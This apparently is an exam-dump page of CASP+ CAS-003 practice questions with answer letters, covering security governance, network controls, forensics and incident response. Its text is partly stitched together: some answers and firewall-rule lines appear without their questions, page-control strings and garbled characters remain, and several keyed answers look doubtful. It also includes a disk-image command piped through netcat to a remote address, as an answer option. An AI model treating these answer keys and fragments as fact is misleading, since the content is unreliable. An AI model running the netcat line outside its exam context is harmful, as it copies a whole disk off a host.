2021 BEST CASP+ EXAM CAS-003 STUDY

A Chief Information Security Officer (CISO) is developing a new BIA for the organization. The CISO wants to gather requirements to determine the appropriate RTO and RPO for the organization's ERP. Which of the following should the CISO interview as MOST qualified to provide RTO/RPO metrics? A. Data custodian B. Data owner C. Security analyst D. Business unit director E. Chief Executive Officer (CEO)

D

A network printer needs Internet access to function. Corporate policy states all devices allowed on the network must be authenticated. Which of the following is the MOST secure method to allow the printer on the network without violating policy? A. Request an exception to the corporate policy from the risk management committee B. Require anyone trying to use the printer to enter their username and password C. Have a help desk employee sign in to the printer every morning D. Issue a certificate to the printer and use certificate-based authentication

D

A project manager is working with a software development group to collect and evaluate user scenarios related to the organization's internally designed data analytics tool. While reviewing stakeholder input, the project manager would like to formally document the needs of the various stakeholders and the associated organizational compliance objectives supported by the project. Which of the following would be MOST appropriate to use? A. Roles matrix B. Peer review C. BIA D. SRTM

D

A security analyst who is concerned about sensitive data exfiltration reviews the following: 10:01:32. 384853 IP (tos 0x0, ttl 64, id 40587, offset 0, flags [DF], proto ICMP (1), length 1500 192.168.1.20 -> 100.61.100.2: ICMP echo reply, id 1592, seq 8, length 1500 Which of the following tools would allow the analyst to confirm if data exfiltration is occurring? A. Port scanner B. SCAP tool C. File integrity monitor D. Protocol analyzer

D

A systems administrator at a medical imaging company discovers protected health information (PHI) on a general-purpose file server. Which of the following steps should the administrator take NEXT? A. Isolate all of the PHI on its own VLAN and keep it segregated at Layer 2 B. Take an MD5 hash of the server C. Delete all PHI from the network until the legal department is consulted D. Consult the legal department to determine the legal requirements

D

A company recently implemented a new cloud storage solution and installed the required synchronization client on all company devices. A few months later, a breach of sensitive data was discovered. Root cause analysis shows the data breach happened from a lost personal mobile device. Which of the following controls can the organization implement to reduce the risk of similar breaches? A. Biometric authentication B. Cloud storage encryption C. Application containerization D. Hardware anti-tamper

A

SIMULATION You are a security analyst tasked with interpreting an Nmap scan output from Company 's privileged network. The company's hardening guidelines indicate the following: ✑ There should be one primary server or service per device. ✑ Only default ports should be used. Non-secure protocols should be disabled. INSTRUCTIONS -Using the Nmap output, identify the devices on the network and their roles, and any open ports that should be closed. For each device found, add a device entry to the Devices Discovered list, with the following information:✑ The IP address of the device✑ The primary server or service of the device✑ The protocol(s) that should be disabled based on the hardening guidelinesTo select multiple protocols, use CTRL+CLICK.If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

10.1.45.65 - FTP Server - Disable 8080 10.1.45.66 - Email Server - Disable 25 and 415 10.1.45.67 - Web Server - Disable 21, 80 10.1.45.68 - UTM Appliance - Disable 21

A Chief Information Security Officer (CISO) is running a test to evaluate the security of the corporate network and attached devices. Which of the following components should be executed by an outside vendor? A. Penetration tests B. Vulnerability assessment C. Tabletop exercises D. Blue-team operations

A

A company has created a policy to allow employees to use their personally owned devices. The Chief Information Security Officer (CISO) is getting reports of company data appearing on unapproved forums and an increase in theft of personal electronic devices. Which of the following security controls would BEST reduce the risk of exposure? A. Disk encryption on the local drive B. Group policy to enforce failed login lockout C. Multifactor authentication D. Implementation of email digital signatures

A

A company has decided to lower costs by conducting an internal assessment on specific devices and various internal and external subnets. The assessment will be done during regular office hours, but it must not affect any production servers. Which of the following would MOST likely be used to complete the assessment? (Choose two.) A. Agent-based vulnerability scan B. Black-box penetration testing C. Configuration review D. Social engineering E. Malware sandboxing F. Tabletop exercise

AC

While conducting a BIA for a proposed acquisition, the IT integration team found that both companies outsource CRM services to competing and incompatible third-party cloud services. The decision has been made to bring the CRM service in-house, and the IT team has chosen a future solution. With which of the following should the Chief Information Security Officer (CISO) be MOST concerned? (Choose two.) A. Data remnants B. Sovereignty C. Compatible services D. Storage encryption E. Data migration F. Chain of custody

AD

A Chief Information Security Officer (CISO) needs to establish a KRI for a particular system. The system holds archives of contracts that are no longer in use. The contracts contain intellectual property and have a data classification of non-public. Which of the following be the BEST risk indicator for this system? A. Average minutes of downtime per quarter B. Percent of patches applied in the past 30 days C. Count of login failures per week D. Number of accounts accessing the system per day

B

A cybersecurity consulting company supports a diverse customer base. Which of the following types of constraints is MOST important for the consultancy to consider when advising a regional healthcare provider versus a global conglomerate? A. Return on investment B. Regulatory standards C. Pre-existing service agreements D. Insider threats

B

A large, public university has recently been experiencing an increase in ransomware attacks against computers connected to its network. Security engineers have discovered various staff members receiving seemingly innocuous files in their email that are being run. Which of the following would BEST mitigate this attack method? A. Improving organizations email filtering B. Conducting user awareness training C. Upgrading endpoint anti-malware software D. Enabling application whitelisting

B

A security administrator is concerned about the increasing number of users who click on malicious links contained within phishing emails. Although the company has implemented a process to block these links at the network perimeter, many accounts are still becoming compromised. Which of the following should be implemented for further reduce the number of account compromises caused by remote users who click these links? A. Anti-spam gateways B. Security awareness training C. URL rewriting D. Internal phishing campaign Hide Solution

B

A security engineer is looking at a DNS server following a known incident. The engineer sees the following command as the most recent entry in the server's shell history: dd if=dev/sda of=/dev/sdb Which of the following MOST likely occurred? A. A tape backup of the server was performed B. The drive was cloned for forensic analysis C. The hard drive was formatted after the incident D. The DNS log files were rolled daily as expected

B

To meet an SLA, which of the following document should be drafted, defining the company's internal interdependent unit responsibilities and delivery timelines. A. BPA B. OLA C. MSA D. MOU

B

Two competing companies experienced similar attacks on their networks from various threat actors. To improve response times, the companies wish to share some threat intelligence about the sources and methods of attack. Which of the following business documents would be BEST to document this engagement? A. Business partnership agreement B. Memorandum of understanding C. Service-level agreement D. Interconnection security agreement

B

A Chief Information Security Officer (CISO) is creating a security committee involving multiple business units of the corporation. Which of the following is the BEST justification to ensure collaboration across business units? A. A risk to one business unit is a risk avoided by all business units, and liberal BYOD policies create new and unexpected avenues for attackers to exploit enterprises. B. A single point of coordination is required to ensure cybersecurity issues are addressed in protected, compartmentalized groups. C. Without business unit collaboration, risks introduced by one unit that affect another unit may go without compensating controls. D. The CISO is uniquely positioned to control the flow of vulnerability information between business units.

C

A penetration tester is trying to gain access to a remote system. The tester is able to see the secure login page and knows one user account and email address, but has not yet discovered a password. Which of the following would be the EASIEST method of obtaining a password for the known account? A. Man-in-the-middle B. Reverse engineering C. Social engineering D. Hash cracking

C

A SaaS provider decides to offer data storage as a service. For simplicity, the company wants to make the service available over industry standard APIs, routable over the public Internet. Which of the following controls offers the MOST protection to the company and its customer's information? A. Detailed application logging B. Use of non-standard ports C. Web application firewall D. Multifactor authentication

D

A bank is initiating the process of acquiring another smaller bank. Before negotiations happen between the organizations, which of the following business documents would be used as the FIRST step in the process? A. MOU B. OLA C. BPA D. NDA

D

A company has decided to replace all the T-1 uplinks at each regional office and move away from using the existing MPLS network. All regional sites will use high- speed connections and VPNs to connect back to the main campus. Which of the following devices would MOST likely be added at each location? A. SIEM B. IDS/IPS C. Proxy server D. Firewall E. Router

D

A company has made it a spending priority to implement security architectures that will be resilient during an attack. Recent incidents have involved attackers leveraging latent vulnerabilities in cryptographic implementations and VPN concentrators to be able to compromise sensitive information. Patches have been slowly released for these emergent vulnerabilities, leaving weeks to months of exposed and vulnerable attack surface. Which of the following approaches would be BEST to increase enterprise resilience during similar future attacks? A. Implement appliances and software from diverse manufacturers B. Segment remote VPN users logically from the production LAN C. Maximize open-source software to benefit from swifter patch releases D. Upgrade the cryptographic ciphers used on the VPN concentrators

D

A company wants to implement a cloud-based security solution that will sinkhole malicious DNS requests. The security administrator has implemented technical controls to direct DNS requests to the cloud servers but wants to extend the solution to all managed and unmanaged endpoints that may have user-defined DNS manual settings. Which of the following should the security administrator implement to ensure the solution will protect all connected devices? A. Implement firewall ACLs as follows: PERMIT UDP ANY CLOUD_SERVER EQ 53 DENY UDP ANY ANY EQ 53 B. Implement NAT as follows: (Image) C. Implement DHCP options as follows: DHCP DNS1: CLOUD_SERVER1 DHCP DNS2: CLOUD_SERVER2 D. Implement policy routing as follows: 100 PERMIT UDP ANY ANY ANY 53 200 PERMIT UDP PAT_POOL ANY CLOUD_SERVER 53 IP ROUTE_MAP 200 200

D

A company's security policy states any remote connections must be validated using two forms of network-based authentication. It also states local administrative accounts should not be used for any remote access. PKI currently is not configured within the network. RSA tokens have been provided to all employees, as well as a mobile application that can be used for 2FA authentication. A new NGFW has been installed within the network to provide security for external connections, and the company has decided to use it for VPN connections as well. Which of the following should be configured? (Choose two.) A. Certificate-based authentication B. TACACS+ C. 802.1X D. RADIUS E. LDAP F. Local user database

DE

The DB server should not initiate outbound connections on NIC2

Deny IP from 10.0.10.20 to ANY

A company has gone through a round of phishing attacks. More than 200 users have had their workstation infected because they clicked on a link in an email. An incident analysis has determined an executable ran and compromised the administrator account on each workstation. Management is demanding the information security team prevent this from happening again. Which of the following would BEST prevent this from happening again? A. Antivirus B. Patch management C. Log monitoring D. Application whitelisting E. Awareness training

E

Where users are attached to the corporate network, single sign-on will be utilized

Kerberos

The backup server at 172.30.10.3 should perform BD backups by connecting via the 192.168.1.0/24 network

Permit IP from 172.30.10.3 to 192.168.1.20

The web server in the 10.10.10.0/25 network should connect to the DB via NIC1

Permit TCP from 10.10.10.0/25 to 192.168.1.20/24 port 1433

The DB server can only be managed from NIC3 via RDP from the sysadmin 10.100.2.0/24 network

Permit TCP from 10.100.2.0/24 to 172.16.0.20/32 port 3389

Large multinational organization wants to improve elasticity and resource usage of hardware that is housing on-premise critical internal services.

Private cloud with IaaS

Customers will have delegated access to multiple digital services

oAuth

Which of the following should the security administrator configure to meet the DNS security needs?

zone "company.com" in { type "master"; file "company.hosts"; allow-query {any; !blacklist-ips; }; allow-transfer { secondary-dns; };

A Chief Information Security Officer (CISO) recently changed jobs into a new industry. The CISO's first task is to write a new, relevant risk assessment for the organization. Which of the following would BEST help the CISO find relevant risks to the organization? (Choose two.) A. Perform a penetration test. B. Conduct a regulatory audit. C. Hire a third-party consultant. D. Define the threat model. E. Review the existing BIA. F. Perform an attack path analysis.

CD

A security manager recently categorized an information system. During the categorization effort, the manager determined the loss of integrity of a specific information type would impact business significantly. Based on this, the security manager recommends the implementation of several solutions. Which of the following, when combined, would BEST mitigate this risk? (Choose two.) A. Access control B. Whitelisting C. Signing D. Validation E. Boot attestation

CD

An organization is currently performing a market scan for managed security services and EDR capability. Which of the following business documents should be released to the prospective vendors in the first step of the process? (Choose two.) A. MSA B. RFP C. NDA D. RFI E. MOU F. RFQ

CD

An organization is reviewing endpoint security solutions. In evaluating products, the organization has the following requirements: 1. Support server, laptop, and desktop infrastructure 2. Due to limited security resources, implement active protection capabilities 3. Provide users with the ability to self-service classify information and apply policies 4. Protect data-at-rest and data-in-use Which of the following endpoint capabilities would BEST meet the above requirements? (Choose two.) A. Data loss prevention B. Application whitelisting C. Endpoint detect and respond D. Rights management E. Log monitoring F. Antivirus

CD

A systems administrator receives an advisory email that a recently discovered exploit is being used in another country and the financial institutions have ceased operations while they find a way to respond to the attack. Which of the following BEST describes where the administrator should look to find information on the attack to determine if a response must be prepared for the systems? (Choose two.) A. Bug bounty websites B. Hacker forums C. Antivirus vendor websites D. Trade industry association websites E. CVE database F. Company's legal department

CE

A new security policy states all wireless and wired authentication must include the use of certificates when connecting to internal resources within the enterprise LAN by all employees. Which of the following should be configured to comply with the new security policy? (Choose two.) A. SSO B. New pre-shared key C. 802.1X D. OAuth E. Push-based authentication F. PKI

CF

A Chief Information Security Officer (CISO) implemented MFA for all accounts in parallel with the BYOD policy. After the implementation, employees report the increased authentication method is causing increased time to tasks. This applies both to accessing the email client on the workstation and the online collaboration portal. Which of the following should be the CISO implement to address the employees' concerns? A. Create an exception for the company's IPs. B. Implement always-on VPN. C. Configure the use of employee PKI authentication for email. D. Allow the use of SSO.

D

A Chief Information Security Officer (CISO) is reviewing technical documentation from various regional offices and notices some key differences between these groups. The CISO has not discovered any governance documentation. The CISO creates the following chart to visualize the differences among the networking used: GROUPS SWITCHVENDOR TRUNKING MIN SUPPORT Group A Vendor 1 802.1q Cat5E YES Group B Vendor 1 ISL Cat5E YES Group C Vendor 2 802.1q Cat5 NO Group D Vendor 2 802.1q Cat5 YES Which of the following would be the CISO's MOST immediate concern? A. There are open standards in use on the network. B. Network engineers have ignored defacto standards. C. Network engineers are not following SOPs. D. The network has competing standards in use. Reveal Solution

D

A Chief Information Security Officer (CISO) is reviewing the controls in place to support the organization's vulnerability management program. The CISO finds patching and vulnerability scanning policies and procedures are in place. However, the CISO is concerned the organization is siloed and is not maintaining awareness of new risks to the organization. The CISO determines systems administrators need to participate in industry security events. Which of the following is the CISO looking to improve? A. Vendor diversification B. System hardening standards C. Bounty programs D. Threat awareness E. Vulnerability signatures

D

A Chief Information Security Officer (CISO) is working with a consultant to perform a gap assessment prior to an upcoming audit. It is determined during the assessment that the organization lacks controls to effectively assess regulatory compliance by third-party service providers. Which of the following should be revised to address this gap? A. Privacy policy B. Work breakdown structure C. Interconnection security agreement D. Vendor management plan E. Audit report

D

A Chief Information Security Officer (CISO) of a large financial institution undergoing an IT transformation program wants to embed security across the business rapidly and across as many layers of the business as possible to achieve quick wins and reduce risk to the organization. Which of the following business areas should the CISO target FIRST to best meet the objective? A. Programmers and developers should be targeted to ensure secure coding practices, including automated code reviews with remediation processes, are implemented immediately. B. Human resources should be targeted to ensure all new employees undertake security awareness and compliance training to reduce the impact of phishing and ransomware attacks. C. The project management office should be targeted to ensure security is managed and included at all levels of the project management cycle for new and in- flight projects. D. Risk assurance teams should be targeted to help identify key business unit security risks that can be aggregated across the organization to produce a risk posture dashboard for executive management.

D

A breach was caused by an insider threat in which customer PII was compromised. Following the breach, a lead security analyst is asked to determine which vulnerabilities the attacker used to access company resources. Which of the following should the analyst use to remediate the vulnerabilities? A. Protocol analyzer B. Root cause analysis C. Behavioral analytics D. Data leak prevention

D

A company is concerned about disgruntled employees transferring its intellectual property data through covert channels. Which of the following tools would allow employees to write data into ICMP echo response packets? A. Thor B. Jack the Ripper C. Burp Suite D. Loki

D

A core router was manipulated by a credentialed bypass to send all network traffic through a secondary router under the control of an unauthorized user connected to the network by WiFi. Which of the following would BEST reduce the risk of this attack type occurring? A. Implement a strong, complex password policy for user accounts that have access to the core router. B. Deploy 802.1X as the NAC system for the WiFi infrastructure. C. Add additional port security settings for the switching environment connected to the core router. D. Allow access to the core router management interface only through an out-of-band channel.

D

A database administrator is required to adhere to and implement privacy principles when executing daily tasks. A manager directs the administrator to reduce the number of unique instances of PII stored within an organization's systems to the greatest extent possible. Which of the following principles is being demonstrated? A. Administrator accountability B. PII security C. Record transparency D. Data minimization

D

A developer emails the following output to a security administrator for review: curl -X TRACE host1 User-Agent: curl/7.25.0 Host: host1 Accept: 8/* Cookie: user=badguy: path=/; HttpOnly Which of the following tools might the security administrator use to perform further security assessment of this issue? A. Port scanner B. Vulnerability scanner C. Fuzzer D. HTTP interceptor

D

A newly hired Chief Information Security Officer (CISO) wants to understand how the organization's CIRT handles issues brought to their attention, but needs to be very cautious about impacting any systems. The MOST appropriate method to use would be: A. an internal vulnerability assessment. B. a red-team threat-hunt exercise. C. a white-box penetration test. D. a guided tabletop exercise.

D

A product manager is concerned about the unintentional sharing of the company's intellectual property through employees' use of social media. Which of the following would BEST mitigate this risk? A. Virtual desktop environment B. Network segmentation C. Web application firewall D. Web content filter

D

A project manager is working with system owners to develop maintenance windows for system patching and upgrades in a cloud-based PaaS environment.Management has indicated one maintenance windows will be authorized per month, but clients have stated they require quarterly maintenance windows to meet their obligations. Which of the following documents should the project manager review? A. MOU B. SOW C. SRTM D. SLA

D

A security administrator receives reports that several workstations are unable to access resources within one network segment. A packet capture shows the segment is flooded with ICMPv6 traffic from the source fe80::21ae:4571:42ab:1fdd and for the destination ff02::1. Which of the following should the security administrator integrate into the network to help prevent this from occurring? A. Raise the dead peer detection interval to prevent the additional network chatter B. Deploy honeypots on the network segment to identify the sending machine C. Ensure routers will use route advertisement guards D. Deploy ARP spoofing prevention on routers and switches

D

A security analyst has been asked to create a list of external IT security concerns, which are applicable to the organization. The intent is to show the different types of external actors, their attack vectors, and the types of vulnerabilities that would cause business impact. The Chief Information Security Officer (CISO) will then present this list to the board to request funding for controls in areas that have insufficient coverage. Which of the following exercise types should the analyst perform? A. Summarize the most recently disclosed vulnerabilities. B. Research industry best practices and the latest RFCs. C. Undertake an external vulnerability scan and penetration test. D. Conduct a threat modeling exercise.

D

A security analyst has requested network engineers integrate sFlow into the SOC's overall monitoring picture. For this to be a useful addition to the monitoring capabilities, which of the following must be considered by the engineering team? A. Effective deployment of network taps B. Overall bandwidth available at Internet PoP C. Optimal placement of log aggregators D. Availability of application layer visualizers

D

A security appliance vendor is reviewing an RFP that is requesting solutions for the defense of a set of web-based applications. This RFP is from a financial institution with very strict performance requirements. The vendor would like to respond with its solutions. Before responding, which of the following factors is MOST likely to have an adverse effect on the vendor's qualifications? A. The solution employs threat information-sharing capabilities using a proprietary data model. B. The RFP is issued by a financial institution that is headquartered outside of the vendor's own country. C. The overall solution proposed by the vendor comes in less that the TCO parameter in the RFP. D. The vendor's proposed solution operates below the KPPs indicated in the RFP.

D

A security researcher is gathering information about a recent spike in the number of targeted attacks against multinational banks. The spike is on top of already sustained attacks against the banks. Some of the previous attacks have resulted in the loss of sensitive data, but as of yet the attackers have not successfully stolen any funds. Based on the information available to the researcher, which of the following is the MOST likely threat profile? A. Nation-state-sponsored attackers conducting espionage for strategic gain. B. Insiders seeking to gain access to funds for illicit purposes. C. Opportunists seeking notoriety and fame for personal gain. D. Hacktivists seeking to make a political statement because of socio-economic factors.

D

A university's help desk is receiving reports that Internet access on campus is not functioning. The network administrator looks at the management tools and sees the 1Gbps Internet is completely saturated with ingress traffic. The administrator sees the following output on the Internet router: 13:45.12857 156.34.99.54.2343 > 192.186.23.78.443 S 37483928:37483928 (0) win 16384 ... .... The administrator calls the university's ISP for assistance, but it takes more than four hours to speak to a network engineer who can resolve the problem. Based on the information above, which of the following should the ISP engineer do to resolve the issue? A. The ISP engineer should null route traffic to the web server immediately to restore Internet connectivity. The university should implement a remotely triggered black hole with the ISP to resolve this more quickly in the future. B. A university web server is under increased load during enrollment. The ISP engineer should immediately increase bandwidth to 2Gbps to restore Internet connectivity. In the future, the university should pay for more bandwidth to handle spikes in web server traffic. C. The ISP engineer should immediately begin blocking IP addresses that are attacking the web server to restore Internet connectivity. In the future, the university should install a WAF to prevent this attack from happening again. D. The ISP engineer should begin refusing network connections to the web server immediately to restore Internet connectivity on campus. The university should purchase an IPS device to stop DDoS attacks in the future.

D

A vulnerability was recently announced that allows a malicious user to gain root privileges on other virtual machines running within the same hardware cluster. Customers of which of the following cloud-based solutions should be MOST concerned about this vulnerability? A. Single-tenant private cloud B. Multitenant SaaS cloud C. Single-tenant hybrid cloud D. Multitenant IaaS cloud E. Multitenant PaaS cloud F. Single-tenant public cloud

D

After several industry competitors suffered data loss as a result of cyberattacks, the Chief Operating Officer (COO) of a company reached out to the information security manager to review the organization's security stance. As a result of the discussion, the COO wants the organization to meet the following criteria: ✑ Blocking of suspicious websites ✑ Prevention of attacks based on threat intelligence ✑ Reduction in spam ✑ Identity-based reporting to meet regulatory compliance ✑ Prevention of viruses based on signature ✑ Protect applications from web-based threats Which of the following would be the BEST recommendation the information security manager could make? A. Reconfigure existing IPS resources B. Implement a WAF C. Deploy a SIEM solution D. Deploy a UTM solution E. Implement an EDR platform

D

After the departure of a developer under unpleasant circumstances, the company is concerned about the security of the software to which the developer has access. Which of the following is the BEST way to ensure security of the code following the incident? A. Hire an external red team to conduct black box testing B. Conduct a peer review and cross reference the SRTM C. Perform white-box testing on all impacted finished products D. Perform regression testing and search for suspicious code

D

An administrator has noticed mobile devices from an adjacent company on the corporate wireless network. Malicious activity is being reported from those devices. To add another layer of security in an enterprise environment, an administrator wants to add contextual authentication to allow users to access enterprise resources only while present in corporate buildings. Which of the following technologies would accomplish this? A. Port security B. Rogue device detection C. Bluetooth D. GPS

D

An enterprise is trying to secure a specific web-based application by forcing the use of multifactor authentication. Currently, the enterprise cannot change the application's sign-in page to include an extra field. However, the web-based application supports SAML. Which of the following would BEST secure the application? A. Using an SSO application that supports mutli-factor authentication B. Enabling the web application to support LDAP integration C. Forcing higher-complexity passwords and frequent changes D. Deploying Shibboleth to all web-based applications in the enterprise

D

An online bank has contracted with a consultant to perform a security assessment of the bank's web portal. The consultant notices the login page is linked from the main page with HTTPS, but when the URL is changed to HTTP, the browser is automatically redirected back to the HTTPS site. Which of the following is a concern for the consultant, and how can it be mitigated? A. XSS could be used to inject code into the login page during the redirect to the HTTPS site. The consultant should implement a WAF to prevent this. B. The consultant is concerned the site is using an older version of the SSL 3.0 protocol that is vulnerable to a variety of attacks. Upgrading the site to TLS 1.0 would mitigate this issue. C. The HTTP traffic is vulnerable to network sniffing, which could disclose usernames and passwords to an attacker. The consultant should recommend disabling HTTP on the web server. D. A successful MITM attack Could intercept the redirect and use sslstrip to decrypt further HTTPS traffic. Implementing HSTS on the web server would prevent this.

D

An organization enables BYOD but wants to allow users to access the corporate email, calendar, and contacts from their devices. The data associated with the user's accounts is sensitive, and therefore, the organization wants to comply with the following requirements: ✑ Active full-device encryption ✑ Enabled remote-device wipe ✑ Blocking unsigned applications ✑ Containerization of email, calendar, and contacts Which of the following technical controls would BEST protect the data from attack or loss and meet the above requirements? A. Require frequent password changes and disable NFC. B. Enforce device encryption and activate MAM. C. Install a mobile antivirus application. D. Configure and monitor devices with an MDM.

D

An organization is moving internal core data-processing functions related to customer data to a global public cloud provider that uses aggregated services from other partner organizations. Which of the following compliance issues will MOST likely be introduced as a result of the migration? A. Internal data integrity standards and outsourcing contracts and partnerships B. Data ownership, internal data classification, and risk profiling of outsourcers C. Company audit functions, cross-boarding jurisdictional challenges, and export controls D. Data privacy regulations, data sovereignty, and third-party providers

D

An organization just merged with an organization in another legal jurisdiction and must improve its network security posture in ways that do not require additional resources to implement data isolation. One recommendation is to block communication between endpoint PCs. Which of the following would be the BEST solution? A. Installing HIDS B. Configuring a host-based firewall C. Configuring EDR D. Implementing network segmentation

D

Ann, a terminated employee, left personal photos on a company-issued laptop and no longer has access to them. Ann emails her previous manager and asks to get her personal photos back. Which of the following BEST describes how the manager should respond? A. Determine if the data still exists by inspecting to ascertain if the laptop has already been wiped and if the storage team has recent backups. B. Inform Ann that the laptop was for company data only and she should not have stored personal photos on a company asset. C. Report the email because it may have been a spoofed request coming from an attacker who is trying to exfiltrate data from the company laptop. D. Consult with the legal and/or human resources department and check company policies around employment and termination procedures.

D

As part of incident response, a technician is taking an image of a compromised system and copying the image to a remote image server (192.168.45.82). The system drive is very large but does not contain the sensitive data. The technician has limited time to complete this task. Which of the following is the BEST command for the technician to run? A. tar cvf - / | ssh 192.168.45.82 "cat - > /images/image.tar" B. dd if=/dev/mem | scp - 192.168.45.82:/images/image.dd C. memdump /dev/sda1 | nc 192.168.45.82 3000 D. dd if=/dev/sda | nc 192.168.45.82 3000

D

As part of the asset management life cycle, a company engages a certified equipment disposal vendor to appropriately recycle and destroy company assets that are no longer in use. As part of the company's vendor due diligence, which of the following would be MOST important to obtain from the vendor? A. A copy of the vendor's information security policies. B. A copy of the current audit reports and certifications held by the vendor. C. A signed NDA that covers all the data contained on the corporate systems. D. A copy of the procedures used to demonstrate compliance with certification requirements.

D

Due to a recent breach, the Chief Executive Officer (CEO) has requested the following activities be conducted during incident response planning: ✑ Involve business owners and stakeholders ✑ Create an applicable scenario ✑ Conduct a biannual verbal review of the incident response plan ✑ Report on the lessons learned and gaps identified Which of the following exercises has the CEO requested? A. Parallel operations B. Full transition C. Internal review D. Tabletop E. Partial simulation

D

Following a complete outage of the electronic medical record system for more than 18 hours, the hospital's Chief Executive Officer (CEO) has requested that the Chief Information Security Officer (CISO) perform an investigation into the possibility of a disgruntled employee causing the outage maliciously. To begin the investigation, the CISO pulls all event logs and device configurations from the time of the outage. The CISO immediately notices the configuration of a top-of-rack switch from one day prior to the outage does not match the configuration that was in place at the time of the outage. However, none of the event logs show who changed the switch configuration, and seven people have the ability to change it. Because of this, the investigation is inconclusive. Which of the following processes should be implemented to ensure this information is available for future investigations? A. Asset inventory management B. Incident response plan C. Test and evaluation D. Configuration and change management

D

Following a merger, the number of remote sites for a company has doubled to 52. The company has decided to secure each remote site with an NGFW to provide web filtering, NIDS/NIPS, and network antivirus. The Chief Information Officer (CIO) has requested that the security engineer provide recommendations on sizing for the firewall with the requirements that it be easy to manage and provide capacity for growth. The tables below provide information on a subset of remote sites and the firewall options: Location # of Users Connectivity Bandwidth Use St Louis 18 50 Mbps 20 Mbps Des Moines 12 25 Mbps 19 Mbps Chicago 27 100 Mbps 41 Mbps Rapid City 6 10 Mbps 8 Mbps Indianapolis 7 12 Mbps 8 Mbps Vendor MinDevices FirewallThrouput FullUTM? Central? A 40 150 Mbps Y Y B 60 400 Mbps N Y C 25 200 Mbps N N D 25 100 Mbps Y Y Which of the following would be the BEST option to recommend to the CIO? A. Vendor C for small remote sites, and Vendor B for large sites. B. Vendor B for all remote sites C. Vendor C for all remote sites D. Vendor A for all remote sites E. Vendor D for all remote sites

D

Given the following code snippet: SecCond = "1SS" SecStatus = false try ( if (SecStatus) SecCond = "2SS" else SecCond = "normal operations" console.log("nothing to see here") } catch (e) { SecCond = "normal operations" console.log(e) console.log("Exeption logged") } Which of the following failure modes would the code exhibit? A. Open B. Secure C. Halt D. Exception

D

The Chief Executive Officer (CEO) of a company has considered implementing a cost-saving measure that might result in new risk to the company. When deciding whether to implement this measure, which of the following would be the BEST course of action to manage the organization's risk? A. Present the detailed risk resulting from the change to the companyג€™s board of directors B. Pilot new mitigations that cost less than the total amount saved by the change C. Modify policies and standards to discourage future changes that increase risk D. Capture the risk in a prioritized register that is shared routinely with the CEO

D

The Chief Financial Officer (CFO) of a major hospital system has received a ransom letter that demands a large sum of cryptocurrency be transferred to an anonymous account. If the transfer does not take place within ten hours, the letter states that patient information will be released on the dark web. A partial listing of recent patients is included in the letter. This is the first indication that a breach took place. Which of the following steps should be done FIRST? A. Review audit logs to determine the extent of the breach B. Pay the hacker under the condition that all information is destroyed C. Engage a counter-hacking team to retrieve the data D. Notify the appropriate legal authorities and legal counsel

D

The Chief Information Officer (CIO) wants to increase security and accessibility among the organization's cloud SaaS applications. The applications are configured to use passwords, and two-factor authentication is not provided natively. Which of the following would BEST address the CIO's concerns? A. Procure a password manager for the employees to use with the cloud applications. B. Create a VPN tunnel between the on-premises environment and the cloud providers. C. Deploy applications internally and migrate away from SaaS applications. D. Implement an IdP that supports SAML and time-based, one-time passwords.

D

The Chief Information Security Officer (CISO) suspects that a database administrator has been tampering with financial data to the administrator's advantage. Which of the following would allow a third-party consultant to conduct an on-site review of the administrator's activity? A. Separation of duties B. Job rotation C. Continuous monitoring D. Mandatory vacation

D

The information security manager of an e-commerce company receives an alert over the weekend that all the servers in a datacenter have gone offline. Upon discussing this situation with the facilities manager, the information security manager learns there was planned electrical maintenance. The information security manager is upset at not being part of the maintenance planning, as this could have resulted in a loss of: A. data confidentiality B. data security C. PCI compliance D. business availability

D

The legal department has required that all traffic to and from a company's cloud-based word processing and email system is logged. To meet this requirement, the Chief Information Security Officer (CISO) has implemented a next-generation firewall to perform inspection of the secure traffic and has decided to use a cloud- based log aggregation solution for all traffic that is logged. Which of the following presents a long-term risk to user privacy in this scenario? A. Confidential or sensitive documents are inspected by the firewall before being logged. B. Latency when viewing videos and other online content may increase. C. Reports generated from the firewall will take longer to produce due to more information from inspected traffic. D. Stored logs may contain non-encrypted usernames and passwords for personal websites.

D

Users have reported that an internally developed web application is acting erratically, and the response output is inconsistent. The issue began after a web application dependency patch was applied to improve security. Which of the following would be the MOST appropriate tool to help identify the issue? A. Fuzzer B. SCAP scanner C. Vulnerability scanner D. HTTP interceptor

D

Users of a newly deployed VoIP solution report multiple instances of dropped or garbled calls. Thirty users connect to the primary site via a site-to-site VPN, and the primary site supplies a dial tone to all satellite locations. The network engineer who installed the equipment copied the configuration from a site that has two users on a low bandwidth DSL connection. Which of the following is MOST likely to restore telephone availability at the 30-user site? A. Disable Layer 2 encryption on the site-to-site VPNs throughout the company B. Provision new firewalls at all sites to enable QoS management of VoIP traffic C. Enable point-to-point tunneling for all VoIP traffic at the new site D. Configure QoS settings to support the larger bandwidth available E. Prioritize ICMP and TCP traffic over UDP traffic using QoS

D

Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure environment? A. NDA B. MOU C. BIA D. SLA

D

Which of the following is an external pressure that causes companies to hire security assessors and penetration testers? A. Lack of adequate in-house testing skills. B. Requirements for geographically based assessments C. Cost reduction measures D. Regulatory insistence on independent reviews.

D

Which of the following is the GREATEST security concern with respect to BYOD? A. The filtering of sensitive data out of data flows at geographic boundaries. B. Removing potential bottlenecks in data transmission paths. C. The transfer of corporate data onto mobile corporate devices. D. The migration of data into and out of the network in an uncontrolled manner.

D

While an employee is on vacation, suspicion arises that the employee has been involved in malicious activity on the network. The security engineer is concerned the investigation may need to continue after the employee returns to work. Given this concern, which of the following should the security engineer recommend to maintain the integrity of the investigation? A. Create archival copies of all documents and communications related to the employee B. Create a forensic image of network infrastructure devices C. Create an image file of the employee's network drives and store it with hashes D. Install a keylogger to capture the employee's communications and contacts

D

With which of the following departments should an engineer for a consulting firm coordinate when determining the control and reporting requirements for storage of sensitive, proprietary customer information? A. Human resources B. Financial C. Sales D. Legal counsel

D

An engineer is reviewing the security architecture for an enterprise network. During the review, the engineer notices an undocumented node on the network. Which of the following approaches can be utilized to determine how this node operates? (Choose two.) A. Use reverse engineering and techniques B. Assess the node within a continuous integration environment C. Employ a static code analyzer D. Review network and traffic logs E. Use a penetration testing framework to analyze the node F. Analyze the output of a ping sweep

DE

